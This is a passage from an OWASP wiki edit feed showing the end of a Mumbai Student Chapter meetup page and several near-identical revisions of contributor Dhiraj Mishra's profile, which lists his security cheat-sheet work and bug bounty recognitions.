[http://www.owasp.org/index.php/Category:OWASP_Project OWASP PROJECT], independent research or related software security topic you would like to present on.&lt;br /&gt;
&lt;br /&gt;
== Meeting Location ==&lt;br /&gt;
&lt;br /&gt;
[https://fb.com/rjcollege/ Ramniranjan Jhunjhunwala College]&amp;lt;br&amp;gt;&lt;br /&gt;
Ghatkopar (West) Mumbai&amp;lt;br&amp;gt;&lt;br /&gt;
Maharashtra, India.&amp;lt;br&amp;gt;&lt;br /&gt;
Location : https://goo.gl/maps/AMRBZzRBVwk&lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Student Chapter]]&lt;br /&gt;
[[Category:Mumbai]]&lt;br /&gt;
[[Category:India]]&lt;br /&gt;
&lt;br /&gt;
==Upcoming Event's==&lt;br /&gt;
Date : &lt;br /&gt;
  29-07-2017 (Saturday)&lt;br /&gt;
&lt;br /&gt;
Time :&lt;br /&gt;
  8:30 AM to 10:00 AM&lt;br /&gt;
&lt;br /&gt;
Topic : &lt;br /&gt;
  News Bytes &lt;br /&gt;
  Building and Breaking Mobile Applications&lt;br /&gt;
&lt;br /&gt;
Venue  :&lt;br /&gt;
  IT Lab&lt;br /&gt;
&lt;br /&gt;
==Previous' Meet==&lt;br /&gt;
&lt;br /&gt;
Photo :&lt;br /&gt;
  https://twitter.com/mishradhiraj_/status/876135764295204864&lt;/div&gt;</summary>
		<author><name>DhirajMishra</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Dhiraj_Mishra&amp;diff=231853</id>
		<title>Dhiraj Mishra</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Dhiraj_Mishra&amp;diff=231853"/>
				<updated>2017-07-26T05:15:03Z</updated>
		
		<summary type="html">&lt;p&gt;DhirajMishra: /* OWASP Contributions */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:Dhiraj-Mishra.png|right|210px|Dhiraj Mishra]]&lt;br /&gt;
==BIO==&lt;br /&gt;
[http://twitter.com/mishradhiraj_ Dhiraj Mishra] is an Cyber Security enthusiast, working with Ernst and Young as an Analyst, seeking ultimately to become a AppSec witchdoctor. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==OWASP Contributions==&lt;br /&gt;
He has been contributing to OWASP from more than a year, as a volunteer to the open community, he is or has been :&amp;lt;br&amp;gt;&lt;br /&gt;
* [https://www.owasp.org/index.php/About_OWASP/Bug_Bounty/WOF OWASP Wall Of Fame]&lt;br /&gt;
* [https://www.owasp.org/index.php/WASPY_Awards_2016 Nominated for WASPY 2016]&lt;br /&gt;
* [https://www.owasp.org/index.php/WASPY_Awards_2017 Nominated for WASPY 2017]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_Speakers_Project#tab=Available_Speakers Speaker of OWASP] for Mumbai, India with the area of Interest in OWASP Top 10 , EASPI , IoT , Dark Web.&lt;br /&gt;
* Helping and Speaking Initiatives in [https://www.owasp.org/index.php/Mumbai OWASP Local Chapter Meet Mumbai] with chapter leader Narenda Choyal.&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Trainers_Database Call_For_Trainers] in OWASP Mumbai, India , being in Trainers DB.&lt;br /&gt;
* As a Chapter leader for [http://owasp.org/index.php/Mumbai_Student_Chapter Mumbai Student Chapter] making student endorse in Information Security and Spreading Idea's and Awareness via Chapter Meets.&lt;br /&gt;
* Authors and Primary Editor's in [https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet SQL Injection Prevention Cheat Sheet.] &lt;br /&gt;
* Author's and Primary Editor's in [https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet DOM Based XSS Prevention Cheat Sheet. ]&lt;br /&gt;
* Past Contributor in [http://owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet The Popular XSS Filter Evasion Cheat Sheet] where as ,this article is focused on providing application security testing professionals with a guide to assist in Cross Site Scripting testing.&lt;br /&gt;
* Lead of [https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF SQLi WAF Bypass] a very helpful cheat sheet which consists of a successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete),recommended by many Security Researchers. &lt;br /&gt;
* His contribution to [https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series OWASP Cheat Sheet Project] is the most.&lt;br /&gt;
* Has a part of [https://sites.google.com/site/owaspmumbaichapter/ OWASP Mumbai Student Chapter] he as conducted a webinar for [https://youtu.be/fvILdMY-LTQ Bug Bounty] as well.&lt;br /&gt;
&lt;br /&gt;
== OWASP CWE Project Benchmark ==&lt;br /&gt;
* Contributor in [https://www.owasp.org/index.php/Benchmark OWASP Benchmark],contributed SQLi/XSS fuzz vectors as initial contribution towards adding support for WAF/RASP scoring. Many thanks to [https://www.owasp.org/index.php/Benchmark#tab=Acknowledgements '''Dave Wichers''']&lt;br /&gt;
* Reach me on: mishra.dhiraj@owasp.org &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Bug Bounties==&lt;br /&gt;
[https://www.linkedin.com/in/mishradhiraj/ Dhiraj] as also spoken to BugCrowd LevelUp Conference and a bug hunter, his areas of expertise in Application Security have listed him in Hall of Fame for companies and orginizations such like, Facebook, Oracle, Intel, DoD, Bugcrowd, Netgear etc.&amp;lt;br&amp;gt;&lt;br /&gt;
Blog : https://datarift.blogspot.in/&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>DhirajMishra</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Dhiraj_Mishra&amp;diff=231731</id>
		<title>Dhiraj Mishra</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Dhiraj_Mishra&amp;diff=231731"/>
				<updated>2017-07-17T15:11:18Z</updated>
		
		<summary type="html">&lt;p&gt;DhirajMishra: /*Dhiraj Mishra*/&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:Dhiraj-Mishra.png|right|210px|Dhiraj Mishra]]&lt;br /&gt;
==BIO==&lt;br /&gt;
[http://twitter.com/mishradhiraj_ Dhiraj Mishra] is an Cyber Security enthusiast, working with Ernst and Young as an Analyst, seeking ultimately to become a AppSec witchdoctor. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==OWASP Contributions==&lt;br /&gt;
He has been contributing to OWASP from more than a year, as a volunteer to the open community, he is or has been :&amp;lt;br&amp;gt;&lt;br /&gt;
* [https://www.owasp.org/index.php/About_OWASP/Bug_Bounty/WOF OWASP Wall Of Fame]&lt;br /&gt;
* [https://www.owasp.org/index.php/WASPY_Awards_2016 Nominated for WASPY 2016.]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_Speakers_Project#tab=Available_Speakers Speaker of OWASP] for Mumbai, India with the area of Interest in OWASP Top 10 , EASPI , IoT , Dark Web.&lt;br /&gt;
* Helping and Speaking Initiatives in [https://www.owasp.org/index.php/Mumbai OWASP Local Chapter Meet Mumbai] with chapter leader Narenda Choyal.&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Trainers_Database Call_For_Trainers] in OWASP Mumbai, India , being in Trainers DB.&lt;br /&gt;
* As a Chapter leader for [http://owasp.org/index.php/Mumbai_Student_Chapter Mumbai Student Chapter] making student endorse in Information Security and Spreading Idea's and Awareness via Chapter Meets.&lt;br /&gt;
* Authors and Primary Editor's in [https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet SQL Injection Prevention Cheat Sheet.] &lt;br /&gt;
* Author's and Primary Editor's in [https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet DOM Based XSS Prevention Cheat Sheet. ]&lt;br /&gt;
* Past Contributor in [http://owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet The Popular XSS Filter Evasion Cheat Sheet] where as ,this article is focused on providing application security testing professionals with a guide to assist in Cross Site Scripting testing.&lt;br /&gt;
* Lead of [https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF SQLi WAF Bypass] a very helpful cheat sheet which consists of a successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete),recommended by many Security Researchers. &lt;br /&gt;
* His contribution to [https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series OWASP Cheat Sheet Project] is the most.&lt;br /&gt;
* Has a part of [https://sites.google.com/site/owaspmumbaichapter/ OWASP Mumbai Student Chapter] he as conducted a webinar for [https://youtu.be/fvILdMY-LTQ Bug Bounty] as well.&lt;br /&gt;
&lt;br /&gt;
== OWASP CWE Project Benchmark ==&lt;br /&gt;
* Contributor in [https://www.owasp.org/index.php/Benchmark OWASP Benchmark],contributed SQLi/XSS fuzz vectors as initial contribution towards adding support for WAF/RASP scoring. Many thanks to [https://www.owasp.org/index.php/Benchmark#tab=Acknowledgements '''Dave Wichers''']&lt;br /&gt;
* Reach me on: mishra.dhiraj@owasp.org &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Bug Bounties==&lt;br /&gt;
[https://www.linkedin.com/in/mishradhiraj/ Dhiraj] as also spoken to BugCrowd LevelUp Conference and a bug hunter, his areas of expertise in Application Security have listed him in Hall of Fame for companies and orginizations such like, Facebook, Oracle, Intel, DoD, Bugcrowd, Netgear etc.&amp;lt;br&amp;gt;&lt;br /&gt;
Blog : https://datarift.blogspot.in/&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>DhirajMishra</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Dhiraj_Mishra&amp;diff=231730</id>
		<title>Dhiraj Mishra</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Dhiraj_Mishra&amp;diff=231730"/>
				<updated>2017-07-17T15:10:36Z</updated>
		
		<summary type="html">&lt;p&gt;DhirajMishra: /*Dhiraj Mishra*/&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:Dhiraj-Mishra.png|right|210px|Dhiraj Mishra]]&lt;br /&gt;
==BIO==&lt;br /&gt;
[http://twitter.com/mishradhiraj_ Dhiraj Mishra] is an Cyber Security enthusiast, working with Ernst and Young as an Analyst, seeking ultimately to become a AppSec witchdoctor. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==OWASP Contributions==&lt;br /&gt;
He has been contributing to OWASP from more than a year, as a volunteer to the open community, he is or has been :&amp;lt;br&amp;gt;&lt;br /&gt;
* [https://www.owasp.org/index.php/About_OWASP/Bug_Bounty/WOF OWASP Wall Of Fame]&lt;br /&gt;
* [https://www.owasp.org/index.php/WASPY_Awards_2016 Nominated for WASPY 2016.]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_Speakers_Project#tab=Available_Speakers Speaker of OWASP] for Mumbai, India with the area of Interest in OWASP Top 10 , EASPI , IoT , Dark Web.&lt;br /&gt;
* Helping and Speaking Initiatives in [https://www.owasp.org/index.php/Mumbai OWASP Local Chapter Meet Mumbai] with chapter leader Narenda Choyal.&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Trainers_Database Call_For_Trainers] in OWASP Mumbai, India , being in Trainers DB.&lt;br /&gt;
* As a Chapter leader for [http://owasp.org/index.php/Mumbai_Student_Chapter Mumbai Student Chapter] making student endorse in Information Security and Spreading Idea's and Awareness via Chapter Meets.&lt;br /&gt;
* Authors and Primary Editor's in [https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet SQL Injection Prevention Cheat Sheet.] &lt;br /&gt;
* Author's and Primary Editor's in [https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet DOM Based XSS Prevention Cheat Sheet. ]&lt;br /&gt;
* Past Contributor in [http://owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet The Popular XSS Filter Evasion Cheat Sheet] where as ,this article is focused on providing application security testing professionals with a guide to assist in Cross Site Scripting testing.&lt;br /&gt;
* Lead of [https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF SQLi WAF Bypass] a very helpful cheat sheet which consists of a successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete),recommended by many Security Researchers. &lt;br /&gt;
* His contribution to [https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series OWASP Cheat Sheet Project] is the most.&lt;br /&gt;
* Has a part of [https://sites.google.com/site/owaspmumbaichapter/ OWASP Mumbai Student Chapter] he as conducted a webinar for [https://youtu.be/fvILdMY-LTQ Bug Bounty] as well.&lt;br /&gt;
&lt;br /&gt;
== OWASP CWE Project Benchmark ==&lt;br /&gt;
* Contributor in [https://www.owasp.org/index.php/Benchmark OWASP Benchmark],contributed SQLi/XSS fuzz vectors as initial contribution towards adding support for WAF/RASP scoring. Many thanks to [https://www.owasp.org/index.php/Benchmark#tab=Acknowledgements '''Dave Wichers''']&lt;br /&gt;
* Reach me on: mishra.dhiraj@owasp.org &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Bug Bounties==&lt;br /&gt;
[https://www.linkedin.com/in/mishradhiraj/ Dhiraj] as also spoken to BugCrowd LevelUp Conference and also a bug hunter, his areas of expertise in Application Security have listed him in Hall of Fame for companies and orginizations such like, Facebook, Oracle, Intel, DoD, Bugcrowd, Netgear etc.&amp;lt;br&amp;gt;&lt;br /&gt;
Blog : https://datarift.blogspot.in/&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>DhirajMishra</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Dhiraj_Mishra&amp;diff=231471</id>
		<title>Dhiraj Mishra</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Dhiraj_Mishra&amp;diff=231471"/>
				<updated>2017-07-08T14:39:43Z</updated>
		
		<summary type="html">&lt;p&gt;DhirajMishra: /*Dhiraj Mishra*/&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:Dhiraj-Mishra.png|right|210px|Dhiraj Mishra]]&lt;br /&gt;
==BIO==&lt;br /&gt;
[http://twitter.com/mishradhiraj_ Dhiraj Mishra] is an Cyber Security enthusiast, working with Ernst and Young as an Analyst, seeking ultimately to become a AppSec witchdoctor. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==OWASP Contributions==&lt;br /&gt;
He has been contributing to OWASP from more than a year, as a volunteer to the open community, he is or has been :&amp;lt;br&amp;gt;&lt;br /&gt;
* [https://www.owasp.org/index.php/About_OWASP/Bug_Bounty/WOF OWASP Wall Of Fame]&lt;br /&gt;
* [https://www.owasp.org/index.php/WASPY_Awards_2016 Nominated for WASPY 2016.]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_Speakers_Project#tab=Available_Speakers Speaker of OWASP] for Mumbai, India with the area of Interest in OWASP Top 10 , EASPI , IoT , Dark Web.&lt;br /&gt;
* Helping and Speaking Initiatives in [https://www.owasp.org/index.php/Mumbai OWASP Local Chapter Meet Mumbai] with chapter leader Narenda Choyal.&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Trainers_Database Call_For_Trainers] in OWASP Mumbai, India , being in Trainers DB.&lt;br /&gt;
* As a Chapter leader for [http://owasp.org/index.php/Mumbai_Student_Chapter Mumbai Student Chapter] making student endorse in Information Security and Spreading Idea's and Awareness via Chapter Meets.&lt;br /&gt;
* Authors and Primary Editor's in [https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet SQL Injection Prevention Cheat Sheet.] &lt;br /&gt;
* Author's and Primary Editor's in [https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet DOM Based XSS Prevention Cheat Sheet. ]&lt;br /&gt;
* Past Contributor in [http://owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet The Popular XSS Filter Evasion Cheat Sheet] where as ,this article is focused on providing application security testing professionals with a guide to assist in Cross Site Scripting testing.&lt;br /&gt;
* Lead of [https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF SQLi WAF Bypass] a very helpful cheat sheet which consists of a successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete),recommended by many Security Researchers. &lt;br /&gt;
* His contribution to [https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series OWASP Cheat Sheet Project] is the most.&lt;br /&gt;
* Has a part of [https://sites.google.com/site/owaspmumbaichapter/ OWASP Mumbai Student Chapter] he as conducted a webinar for [https://youtu.be/fvILdMY-LTQ Bug Bounty] as well.&lt;br /&gt;
&lt;br /&gt;
== OWASP CWE Project Benchmark ==&lt;br /&gt;
* Contributor in [https://www.owasp.org/index.php/Benchmark OWASP Benchmark],contributed SQLi/XSS fuzz vectors as initial contribution towards adding support for WAF/RASP scoring. Many thanks to [https://www.owasp.org/index.php/Benchmark#tab=Acknowledgements '''Dave Wichers''']&lt;br /&gt;
* Reach me on: mishra.dhiraj@owasp.org &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Bug Bounties==&lt;br /&gt;
[https://www.linkedin.com/in/mishradhiraj/ Dhiraj] is also a bug hunter, his areas of expertise in Application Security have listed him in Hall of Fame for companies and orginizations such like, Facebook, Oracle, Intel, DoD, Bugcrowd, Netgear etc.&amp;lt;br&amp;gt;&lt;br /&gt;
Blog : https://datarift.blogspot.in/&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>DhirajMishra</name></author>	</entry>

	</feed>